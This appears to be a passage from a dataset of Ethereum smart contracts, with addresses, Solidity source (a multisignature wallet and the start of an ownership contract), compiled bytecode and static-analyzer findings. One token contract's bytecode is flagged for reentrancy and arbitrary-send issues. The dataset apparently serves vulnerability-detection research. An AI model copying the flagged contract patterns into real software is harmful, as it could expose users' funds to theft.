69565b60405180910390fd5b809150505b92915050565b600061213883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612198565b905092915050565b8061214e5761214d6121fb565b5b61215984848461223e565b8061216757612166612409565b5b50505050565b600080600061217a61241d565b9150915061219181836120f690919063ffffffff16565b9250505090565b600080831182906121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d69190612ea7565b60405180910390fd5b50600083856121ee91906131d5565b9050809150509392505050565b6000600a5414801561220f57506000600b54145b156122195761223c565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806122508761247f565b9550955095509550955095506122ae86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238f8161258f565b612399848361264c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f69190613049565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612453683635c9adc5dea000006008546120f690919063ffffffff16565b82101561247257600854683635c9adc5dea0000093509350505061247b565b81819350935050505b9091565b600080600080600080600080600061249c8a600a54600b54612686565b92509250925060006124ac61216d565b905060008060006124bf8e87878761271c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c00565b905092915050565b6000808284612540919061317f565b905083811015612585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257c90612f29565b60405180910390fd5b8091505092915050565b600061259961216d565b905060006125b0828461207b90919063ffffffff16565b905061260481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612661826008546124e790919063ffffffff16565b60088190555061267c8160095461253190919063ffffffff16565b6009819055505050565b6000806000806126b260646126a4888a61207b90919063ffffffff16565b6120f690919063ffffffff16565b905060006126dc60646126ce888b61207b90919063ffffffff16565b6120f690919063ffffffff16565b90506000612705826126f7858c6124e790919063ffffffff16565b6124e790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612735858961207b90919063ffffffff16565b9050600061274c868961207b90919063ffffffff16565b90506000612763878961207b90919063ffffffff16565b9050600061278c8261277e85876124e790919063ffffffff16565b6124e790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b86127b3846130fe565b6130d9565b905080838252602082019050828560208602820111156127db576127da613469565b5b60005b8581101561280b57816127f18882612815565b8452602084019350602083019250506001810190506127de565b5050509392505050565b6000813590506128248161377f565b92915050565b6000815190506128398161377f565b92915050565b600082601f83011261285457612853613464565b5b81356128648482602086016127a5565b91505092915050565b60008135905061287c81613796565b92915050565b60008151905061289181613796565b92915050565b6000813590506128a6816137ad565b92915050565b6000815190506128bb816137ad565b92915050565b6000602082840312156128d7576128d6613473565b5b60006128e584828501612815565b91505092915050565b60006020828403121561290457612903613473565b5b60006129128482850161282a565b91505092915050565b6000806040838503121561293257612931613473565b5b600061294085828601612815565b925050602061295185828601612815565b9150509250929050565b60008060006060848603121561297457612973613473565b5b600061298286828701612815565b935050602061299386828701612815565b92505060406129a486828701612897565b9150509250925092565b600080604083850312156129c5576129c4613473565b5b60006129d385828601612815565b92505060206129e485828601612897565b9150509250929050565b600060208284031215612a0457612a03613473565b5b600082013567ffffffffffffffff811115612a2257612a2161346e565b5b612a2e8482850161283f565b91505092915050565b600060208284031215612a4d57612a4c613473565b5b6000612a5b8482850161286d565b91505092915050565b600060208284031215612a7a57612a79613473565b5b6000612a8884828501612882565b91505092915050565b600060208284031215612aa757612aa6613473565b5b6000612ab584828501612897565b91505092915050565b600080600060608486031215612ad757612ad6613473565b5b6000612ae5868287016128ac565b9350506020612af6868287016128ac565b9250506040612b07868287016128ac565b9150509250925092565b6000612b1d8383612b29565b60208301905092915050565b612b3281613294565b82525050565b612b4181613294565b82525050565b6000612b528261313a565b612b5c818561315d565b9350612b678361312a565b8060005b83811015612b98578151612b7f8882612b11565b9750612b8a83613150565b925050600181019050612b6b565b5085935050505092915050565b612bae816132a6565b82525050565b612bbd816132e9565b82525050565b6000612bce82613145565b612bd8818561316e565b9350612be88185602086016132fb565b612bf181613478565b840191505092915050565b6000612c0960238361316e565b9150612c1482613489565b604082019050919050565b6000612c2c602a8361316e565b9150612c37826134d8565b604082019050919050565b6000612c4f60228361316e565b9150612c5a82613527565b604082019050919050565b6000612c72601b8361316e565b9150612c7d82613576565b602082019050919050565b6000612c95601d8361316e565b9150612ca08261359f565b602082019050919050565b6000612cb860218361316e565b9150612cc3826135c8565b604082019050919050565b6000612cdb60208361316e565b9150612ce682613617565b602082019050919050565b6000612cfe60298361316e565b9150612d0982613640565b604082019050919050565b6000612d2160258361316e565b9150612d2c8261368f565b604082019050919050565b6000612d4460248361316e565b9150612d4f826136de565b604082019050919050565b6000612d6760178361316e565b9150612d728261372d565b602082019050919050565b6000612d8a60118361316e565b9150612d9582613756565b602082019050919050565b612da9816132d2565b82525050565b612db8816132dc565b82525050565b6000602082019050612dd36000830184612b38565b92915050565b6000604082019050612dee6000830185612b38565b612dfb6020830184612b38565b9392505050565b6000604082019050612e176000830185612b38565b612e246020830184612da0565b9392505050565b600060c082019050612e406000830189612b38565b612e4d6020830188612da0565b612e5a6040830187612bb4565b612e676060830186612bb4565b612e746080830185612b38565b612e8160a0830184612da0565b979650505050505050565b6000602082019050612ea16000830184612ba5565b92915050565b60006020820190508181036000830152612ec18184612bc3565b905092915050565b60006020820190508181036000830152612ee281612bfc565b9050919050565b60006020820190508181036000830152612f0281612c1f565b9050919050565b60006020820190508181036000830152612f2281612c42565b9050919050565b60006020820190508181036000830152612f4281612c65565b9050919050565b60006020820190508181036000830152612f6281612c88565b9050919050565b60006020820190508181036000830152612f8281612cab565b9050919050565b60006020820190508181036000830152612fa281612cce565b9050919050565b60006020820190508181036000830152612fc281612cf1565b9050919050565b60006020820190508181036000830152612fe281612d14565b9050919050565b6000602082019050818103600083015261300281612d37565b9050919050565b6000602082019050818103600083015261302281612d5a565b9050919050565b6000602082019050818103600083015261304281612d7d565b9050919050565b600060208201905061305e6000830184612da0565b92915050565b600060a0820190506130796000830188612da0565b6130866020830187612bb4565b81810360408301526130988186612b47565b90506130a76060830185612b38565b6130b46080830184612da0565b9695505050505050565b60006020820190506130d36000830184612daf565b92915050565b60006130e36130f4565b90506130ef828261332e565b919050565b6000604051905090565b600067ffffffffffffffff82111561311957613118613435565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061318a826132d2565b9150613195836132d2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ca576131c96133a8565b5b828201905092915050565b60006131e0826132d2565b91506131eb836132d2565b9250826131fb576131fa6133d7565b5b828204905092915050565b6000613211826132d2565b915061321c836132d2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613255576132546133a8565b5b828202905092915050565b600061326b826132d2565b9150613276836132d2565b925082821015613289576132886133a8565b5b828203905092915050565b600061329f826132b2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132f4826132d2565b9050919050565b60005b838110156133195780820151818401526020810190506132fe565b83811115613328576000848401525b50505050565b61333782613478565b810181811067ffffffffffffffff8211171561335657613355613435565b5b80604052505050565b600061336a826132d2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561339d5761339c6133a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61378881613294565b811461379357600080fd5b50565b61379f816132a6565b81146137aa57600080fd5b50565b6137b6816132d2565b81146137c157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f879ca9a8be59ff063e9953aaf0742e75ab414c7e1fa5d1340f222032181bcd264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,910 |
0x05a3cb0aca929d577d4ef186a7853e84e385257c
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f6858293909798d8919399849193b6959998859398858f85d8989382">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610167578063173825d91461019b57806320ea8d86146101bc5780632f54bf6e146101d45780633411c81c14610209578063547415251461022d5780637065cb481461025e578063784547a71461027f5780638b51d13f146102975780639ace38c2146102af578063a0e67e2b1461036a578063a8abe69a146103cf578063b5dc40c3146103f4578063b77bf6001461040c578063ba51a6df14610421578063c01a8c8414610439578063c642747414610451578063d74f8edd146104ba578063dc8452cd146104cf578063e20056e6146104e4578063ee22610b1461050b575b600034111561016557604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017357600080fd5b5061017f600435610523565b60408051600160a060020a039092168252519081900360200190f35b3480156101a757600080fd5b50610165600160a060020a036004351661054b565b3480156101c857600080fd5b506101656004356106d6565b3480156101e057600080fd5b506101f5600160a060020a03600435166107ac565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600435600160a060020a03602435166107c1565b34801561023957600080fd5b5061024c600435151560243515156107e1565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610165600160a060020a036004351661084d565b34801561028b57600080fd5b506101f5600435610986565b3480156102a357600080fd5b5061024c600435610a0a565b3480156102bb57600080fd5b506102c7600435610a79565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032c578181015183820152602001610314565b50505050905090810190601f1680156103595780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037657600080fd5b5061037f610b37565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103bb5781810151838201526020016103a3565b505050509050019250505060405180910390f35b3480156103db57600080fd5b5061037f60043560243560443515156064351515610b9a565b34801561040057600080fd5b5061037f600435610cd3565b34801561041857600080fd5b5061024c610e4c565b34801561042d57600080fd5b50610165600435610e52565b34801561044557600080fd5b50610165600435610ee5565b34801561045d57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261024c948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610fcc9650505050505050565b3480156104c657600080fd5b5061024c610feb565b3480156104db57600080fd5b5061024c610ff0565b3480156104f057600080fd5b50610165600160a060020a0360043581169060243516610ff6565b34801561051757600080fd5b50610165600435611194565b600380548290811061053157fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561056d57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561059657600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106715782600160a060020a03166003838154811015156105e057fe5b600091825260209091200154600160a060020a031614156106665760038054600019810190811061060d57fe5b60009182526020909120015460038054600160a060020a03909216918490811061063357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610671565b6001909101906105b9565b600380546000190190610684908261147a565b50600354600454111561069d5760035461069d90610e52565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106fe57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561073357600080fd5b600084815260208190526040902060030154849060ff161561075457600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156108465783801561080e575060008181526020819052604090206003015460ff16155b806108325750828015610832575060008181526020819052604090206003015460ff165b1561083e576001820191505b6001016107e5565b5092915050565b30600160a060020a031633600160a060020a031614151561086d57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561089557600080fd5b81600160a060020a03811615156108ab57600080fd5b600380549050600101600454603282111580156108c85750818111155b80156108d357508015155b80156108de57508115155b15156108e957600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a0357600084815260016020526040812060038054919291849081106109b457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109e8576001820191505b6004548214156109fb5760019250610a03565b60010161098b565b5050919050565b6000805b600354811015610a735760008381526001602052604081206003805491929184908110610a3757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a6b576001820191505b600101610a0e565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b71575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610bcc578160200160208202803883390190505b50925060009150600090505b600554811015610c5357858015610c01575060008181526020819052604090206003015460ff16155b80610c255750848015610c25575060008181526020819052604090206003015460ff165b15610c4b57808383815181101515610c3957fe5b60209081029091010152600191909101905b600101610bd8565b878703604051908082528060200260200182016040528015610c7f578160200160208202803883390190505b5093508790505b86811015610cc8578281815181101515610c9c57fe5b9060200190602002015184898303815181101515610cb657fe5b60209081029091010152600101610c86565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610d08578160200160208202803883390190505b50925060009150600090505b600354811015610dc55760008581526001602052604081206003805491929184908110610d3d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dbd576003805482908110610d7857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d9e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d14565b81604051908082528060200260200182016040528015610def578160200160208202803883390190505b509350600090505b81811015610e44578281815181101515610e0d57fe5b906020019060200201518482815181101515610e2557fe5b600160a060020a03909216602092830290910190910152600101610df7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e7257600080fd5b6003548160328211801590610e875750818111155b8015610e9257508015155b8015610e9d57508115155b1515610ea857600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610f0d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f3257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f6657600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610fc585611194565b5050505050565b6000610fd9848484611367565b9050610fe481610ee5565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561101857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561104157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561106957600080fd5b600092505b6003548310156110fa5784600160a060020a031660038481548110151561109157fe5b600091825260209091200154600160a060020a031614156110ef57836003848154811015156110bc57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110fa565b60019092019161106e565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111bf57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111f457600080fd5b600085815260208190526040902060030154859060ff161561121557600080fd5b61121e86610986565b1561135f576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a506112f295600160a060020a03909216949093919083908301828280156112e85780601f106112bd576101008083540402835291602001916112e8565b820191906000526020600020905b8154815290600101906020018083116112cb57829003601f168201915b5050505050611457565b156113275760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261135f565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561137f57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926113ff9260028501929101906114a3565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181111561149e5760008381526020902061149e918101908301611521565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e457805160ff1916838001178555611511565b82800160010185558215611511579182015b828111156115115782518255916020019190600101906114f6565b5061151d929150611521565b5090565b610b9791905b8082111561151d57600081556001016115275600a165627a7a72305820a9c5682271ee4f85543b8133849327ffe9024d02e99c83346e7295279ffa216f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,911 |
0x621dD545281cBBb62e378d938468f261340b34e0
|
/**
*Submitted for verification at Etherscan.io on 2021-04-05
*/
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
//_transferOwnership(newOwner);
_pendingowner = newOwner;
emit OwnershipTransferPending(_owner, newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private _pendingowner;
event OwnershipTransferPending(address indexed previousOwner, address indexed newOwner);
function pendingowner() public view returns (address) {
